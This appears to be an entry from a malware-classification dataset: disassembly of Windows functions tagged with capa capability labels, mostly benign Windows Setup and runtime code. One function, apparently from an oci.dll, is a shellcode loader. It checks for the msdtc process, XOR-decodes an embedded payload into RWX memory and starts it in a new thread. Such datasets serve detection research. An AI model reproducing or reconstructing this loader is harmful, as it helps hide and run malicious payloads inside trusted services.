joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007fbc
Capabilities:
Set file attributes

Disassembly:
sub rsp, 0x28
test rcx, rcx
jne 0x140006c16
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
xor eax, eax
add rsp, 0x28
ret
test dl, 1
je 0x140006c29
mov edx, 1
add rsp, 0x28
jmp fcn.140007a40
add rsp, 0x28
jmp 0x140007fbc
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
xor r14d, r14d
mov rsi, rcx
mov ebp, r14d
mov edi, r14d
test rcx, rcx
je 0x1400080e6
cmp r14w, word [rcx]
je 0x1400080e6
xor edx, edx
call fcn.140007290
mov rbx, rax
test rax, rax
je 0x140008082
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
nop dword [rax + rax]
test eax, eax
jne 0x140008048
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov r9, rbx
lea r8, str.WdsRemoveDirectory:_Unable_to_clear_attributes_on___s___GLE__0x_x
lea rcx, [0x140017e08]
mov dword [rsp + 0x20], eax
mov edx, 0x3000000
mov edi, eax
call fcn.140006188
xor edx, edx
mov rcx, rbx
call fcn.140007a40
mov ebp, eax
test eax, eax
jne 0x1400080af
test edi, edi
jne 0x14000806a
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov r9, rbx
lea r8, str.WdsRemoveDirectory:_Unable_to_remove_directory___s___GLE__0x_x
jmp 0x14000809a
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov r9, rsi
lea r8, str.WdsRemoveDirectory:_Unable_to_prepare_path___s___GLE__0x_x
mov edi, eax
mov edx, 0x3000000
mov dword [rsp + 0x20], eax
lea rcx, [0x140017e08]
call fcn.140006188
test rbx, rbx
je 0x1400080d4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
mov eax, ebp
jmp 0x1400080f9
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x14000811c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, ebx
test rcx, rcx
je 0x1400081c2
cmp bx, word [rcx]
je 0x1400081c2
xor edx, edx
call fcn.140007290
mov rsi, rax
test rax, rax
je 0x1400081be
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
nop dword [rax + rax]
cmp eax, 0xffffffff
je 0x14000816d
test al, 0x10
je 0x14000816d
lea edi, [rbx + 1]
jmp 0x140008190
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
test eax, eax
mov ecx, 0x10b
cmove eax, ecx
mov ecx, 3
cmp eax, 2
cmove eax, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
mov eax, edi
jmp 0x1400081d5
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1400081ec
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
test rcx, rcx
je 0x140008291
cmp bx, word [rcx]
je 0x140008291
xor edx, edx
call fcn.140007290
mov rsi, rax
test rax, rax
je 0x140008271
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
nop dword [rax + rax]
cmp eax, 0xffffffff
je 0x140008241
and eax, 0x10
sete bl
neg eax
sbb edi, edi
and edi, 2
jmp 0x14000824f
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
jmp 0x14000827f
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov edi, eax
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
mov eax, ebx
jmp 0x1400082a4
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400082bc
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x20], rdi
mov qword [r11 + 0x18], r8
push r14
sub rsp, 0xe0
xor eax, eax
lea r8, [0x14000ee24]
mov qword [rsp + 0x60], rax
lea rdx, str._s_s_s
lea rax, str._windir__system32cmd.exe
xor ebp, ebp
xorps xmm0, xmm0
mov qword [rsp + 0x20], rax
mov r9, r8
mov qword [r11 + 0x18], rbp
lea rcx, [r11 + 0x18]
mov edi, ebp
movups xmmword [rsp + 0x50], xmm0
call fcn.140008878
mov ebx, eax
test eax, eax
js 0x140008416
mov rcx, qword [rsp + 0x100]
call fcn.140005a78
mov rdi, rax
mov r14d, 0x80070000
test rax, rax
je 0x14000833f
cmp bp, word [rax]
jne 0x140008378
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
or ecx, r14d
test eax, eax
cmovle ecx, eax
test ecx, ecx
jns 0x140008373
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
movzx ebx, ax
or ebx, r14d
test eax, eax
cmovle ebx, eax
jmp 0x140008378
mov ebx, 0x80004005
test ebx, ebx
js 0x140008416
xor edx, edx
lea rcx, [rsp + 0x74]
lea r8d, [rdx + 0x64]
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x50]
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, rdi
mov qword [rsp + 0x38], rbp
xor ecx, ecx
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], InitCommonControls
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
nop dword [rax + rax]
test eax, eax
jne 0x140008416
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
or ecx, r14d
test eax, eax
cmovle ecx, eax
test ecx, ecx
jns 0x140008411
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
movzx ebx, ax
or ebx, r14d
test eax, eax
cmovle ebx, eax
jmp 0x140008416
mov ebx, 0x80004005
mov rcx, qword [rsp + 0x58]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140008431
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000844c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
cmp qword [rsp + 0x100], rbp
je 0x14000847b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8, qword [rsp + 0x100]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
test rdi, rdi
je 0x1400084a0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
movzx ecx, bx
test ebx, ebx
cmovns ecx, ebp
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
lea r11, [rsp + 0xe0]
not ebx
mov rbp, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x28]
shr ebx, 0x1f
mov eax, ebx
mov rbx, qword [r11 + 0x10]
mov rsp, r11
pop r14
ret
Function at 0x1400084dc
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rdx
lea rax, [r11 + 0x18]
xor ebx, ebx
mov qword [r11 - 0x18], rax
lea rdx, str.SYSTEMSetupFailedInstallations
mov qword [r11 + 0x18], rbx
mov r9d, 0x20019
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
nop dword [rax + rax]
test eax, eax
jne 0x140008564
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140008564
test rdi, rdi
je 0x140008553
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
test eax, eax
sete bl
jmp 0x140008558
mov ebx, 1
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [rax + rax]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x140008588
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
and qword [rbp - 8], 0
lea rax, [rbp - 8]
and dword [rbp + 0x20], 0
mov rbx, rdx
and dword [rbp - 0x10], 0
lea rdx, str.SYSTEMSetupFailedInstallations
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x28], 4
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
nop dword [rax + rax]
test eax, eax
jne 0x14000863c
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x14000863c
lea rax, [rbp + 0x28]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x10]
lea rax, [rbp + 0x20]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jne 0x140008615
cmp dword [rbp + 0x28], 4
je 0x140008619
lea ebx, [rax + 0xd]
and dword [rbp + 0x20], 0
mov rcx, qword [rbp - 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [rax + rax]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
mov eax, dword [rbp + 0x20]
jmp 0x14000864c
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
xor eax, eax
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x140008660
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov dword [r11 + 0x20], r9d
mov qword [r11 + 0x10], rdx
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
sub rsp, 0x50
xor ebx, ebx
lea rax, [r11 + 0x10]
mov qword [r11 - 0x28], rax
lea r9, [0x14000ee24]
lea rax, [r11 + 8]
mov qword [r11 + 8], rbx
mov qword [r11 - 0x30], rax
lea rdx, str.SYSTEMSetupFailedInstallations
mov qword [r11 - 0x38], rbx
mov rsi, r8
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x78], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
nop dword [rax + rax]
mov edi, eax
test eax, eax
jne 0x14000870d
mov rcx, qword [rsp + 0x70]
lea r9d, [rbx + 4]
lea rax, [rsp + 0x88]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x70]
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [rax + rax]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
test edi, edi
sete bl
mov eax, ebx
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x140008d58
Capabilities:
Check mutex on windows

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x40], rbx
mov rdi, rcx
lea r8, str.GlobalMicrosoft.Windows.Setup.Rollback
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
nop dword [rax + rax]
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140008ddd
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
cmp eax, 0xb7
jne 0x140008dbb
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop dword [rax + rax]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
nop dword [rax + rax]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
nop
mov rax, qword [rdi]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x14000a284
Capabilities:
Get disk size

Disassembly:
mov r11, rsp
push rbp
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
mov rax, qword [0x1400175c8]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor esi, esi
mov dword [rbp - 0x44], esi
mov dword [rbp - 0x50], esi
mov dword [rbp - 0x48], esi
mov dword [rbp - 0x4c], esi
mov word [rbp - 0x18], cx
mov dword [rbp - 0x16], 0x5c003a
mov word [rbp - 0x12], si
lea rax, [rbp - 0x4c]
mov qword [r11 - 0x68], rax
lea r9, [rbp - 0x48]
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x44]
lea rcx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
nop dword [rax + rax]
test eax, eax
je 0x14000a322
mov eax, dword [rbp - 0x50]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000c290
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov edi, eax
lea rdx, [rbp - 0x18]
lea rcx, str.GetDiskFreeSpace__s__failed.
call qword [sym.imp.unbcl.dll_public:_static_class_UnBCL::String____ptr64___cdecl_UnBCL::String::Format_unsigned_short_int_const____ptr64_]
nop dword [rax + rax]
mov rdx, rax
lea rcx, [rbp - 0x28]
call qword [sym.imp.unbcl.dll_public:_void___cdecl_UnBCL::SmartPtr_class_UnBCL::String_::constructor_class_UnBCL::String____ptr64____ptr64]
nop dword [rax + rax]
nop
mov ecx, 0x40
call qword [sym.imp.unbcl.dll_public:_static_void____ptr64___cdecl_UnBCL::Object::operator_new_unsigned_long_long_unsigned___int64__]
nop dword [rax + rax]
mov rbx, rax
mov qword [rbp - 0x30], rax
test rax, rax
je 0x14000a3b7
lea rcx, [rbp - 0x28]
call qword [sym.imp.unbcl.dll_public:_class_UnBCL::String____ptr64___cdecl_UnBCL::SmartPtr_class_UnBCL::String_::operator___void_const___ptr64]
nop dword [rax + rax]
mov rcx, rax
call qword [sym.imp.unbcl.dll_public:_unsigned_short_int_const____ptr64___cdecl_UnBCL::String::get_CString_void_const___ptr64]
nop dword [rax + rax]
mov r8, rax
mov edx, edi
mov rcx, rbx
call qword [sym.imp.unbcl.dll_public:_void___cdecl_UnBCL::Win32Exception::constructor_unsigned_long_int__unsigned_short_int_const____ptr64____ptr64]
nop dword [rax + rax]
lea rax, vtable.UnBCL::Win32Exception.0
mov qword [rbx], rax
jmp 0x14000a3ba
mov rbx, rsi
lea rdx, str.unsigned_long___cdecl_GetBytesPerSector_unsigned_short_
mov rcx, rbx
call fcn.140009764
mov qword [rbp - 0x40], rax
lea rdx, [0x140014408]
lea rcx, [rbp - 0x40]
call sub.msvcrt.dll__CxxThrowException
int3
Function at 0x14000bba4
Capabilities:
Get file version info

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov ebp, r9d
mov r14, r8
mov rsi, rdx
mov r15, rcx
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8d, ebp
lea edx, [rdi + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
nop dword [rax + rax]
mov rbx, rax
test rax, rax
je 0x14000bc25
mov r8d, dword [r14]
lea ecx, [rdi + 3]
mov r9d, ebp
mov qword [rsp + 0x20], rax
mov rdx, r15
call qword [sym.imp.VERSION.dll_GetFileVersionInfoExW]
nop dword [rax + rax]
test eax, eax
je 0x14000bc36
test rsi, rsi
je 0x14000bc1e
mov qword [rsi], rbx
xor ebx, ebx
mov edi, 1
jmp 0x14000bc36
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
test rbx, rbx
je 0x14000bc5b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
mov rbx, qword [rsp + 0x50]
mov eax, edi
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x14000bff0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140017e30], rbx
je 0x14000c057
cmp rax, rbx
jne 0x14000c04a
mov ebx, 1
mov esi, ebx
jmp 0x14000c05c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000c02f
mov ebx, 1
mov eax, dword [0x140017e38]
cmp eax, ebx
jne 0x14000c074
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14000c0e0
mov eax, dword [0x140017e38]
test eax, eax
jne 0x14000c0d5
mov dword [0x140017e38], ebx
lea r15, [0x14000eb18]
lea rdi, [0x14000eb00]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000c0c7
test eax, eax
jne 0x14000c0cb
cmp qword [rdi], r14
je 0x14000c0bc
mov rax, qword [rdi]
mov rcx, qword [0x14000eae0]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000c09e
test eax, eax
je 0x14000c0db
mov eax, 0xff
jmp 0x14000c236
mov dword [0x1400175f4], ebx
mov edi, 0x1f
mov eax, dword [0x140017e38]
cmp eax, ebx
jne 0x14000c107
lea rdx, [0x14000eaf8]
lea rcx, [0x14000eae8]
call sub.msvcrt.dll__initterm
mov dword [0x140017e38], 2
test esi, esi
jne 0x14000c115
mov rax, r14
xchg qword [0x140017e30], rax
cmp qword [0x140017e40], r14
je 0x14000c148
lea rcx, [0x140017e40]
call fcn.14000c450
test eax, eax
je 0x14000c148
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140017e40]
mov r9, qword [0x14000eae0]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000c161
mov eax, 0xff
jmp 0x14000c236
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000c1e7
test ax, ax
je 0x14000c17c
test edx, edx
jne 0x14000c1e7
sub ax, bx
cmp ax, di
ja 0x14000c192
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000c17c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140002024
mov dword [0x1400175f0], eax
cmp dword [0x140017610], r14d
jne 0x14000c1d0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400175f4], r14d
jne 0x14000c1e5
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400175f0]
jmp 0x14000c236
cmp ax, 0x22
jne 0x14000c1fb
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000c16a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.1400af000
add rsp, 0x28
jmp 0x14000bff0
Function at 0x14000c33c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000c388
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000c380
cmp dword [rcx + 0x3c], edx
jl 0x14000c380
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14000c380
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000c388
mov rax, rdx
add rsp, 0x18
ret
Function at 0x646013d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get process image filename
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xd0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0xa0]
mov rax, qword [rbp - 0x10]
mov r8d, pe_nt_image_headers64
mov rcx, rax
call sym.GetProcessImageFileNameA
lea rax, [rbp - 0xa0]
lea rdx, str.msdtc
mov rcx, rax
call sym.strstr
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x646014bb
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x527800
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x20], rax
mov dword [rbp - 4], 0
jmp 0x6460147f
mov eax, dword [rbp - 4]
cdqe
lea rdx, sym.oci.dll_DATA
movzx ecx, byte [rax + rdx]
mov eax, 0x5277ff
sub eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
xor ecx, 0xa
mov edx, ecx
mov byte [rax], dl
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x5277ff
jle 0x64601452
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
jmp 0x646014bc
nop
add rsp, 0xd0
pop rbp
ret

Function at 0x646018b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x64601920
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x64b2e5e4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x64601ac8
mov rax, qword [0x64b2e5e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x6460196c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x646019f7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x64601950
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x64601b02
mov rax, qword [0x64b2e5e8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x64b2e5e8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x64601b11
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x646019f0
sub eax, 4
and eax, 0xfffffffb
jne 0x64601a80
add dword [0x64b2e5e4], 1
cmp ebx, 8
jae 0x64601a28
test bl, 4
jne 0x64601ad0
test ebx, ebx
je 0x64601a19
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x64601af0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x64601a19
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x64601a5a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x64b2e5e8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x646019f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor edi, edi
jmp 0x64601977
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x64601a19
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x64601a19
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
mov rax, qword [0x64b2e5e8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
nop
nop dword [rax]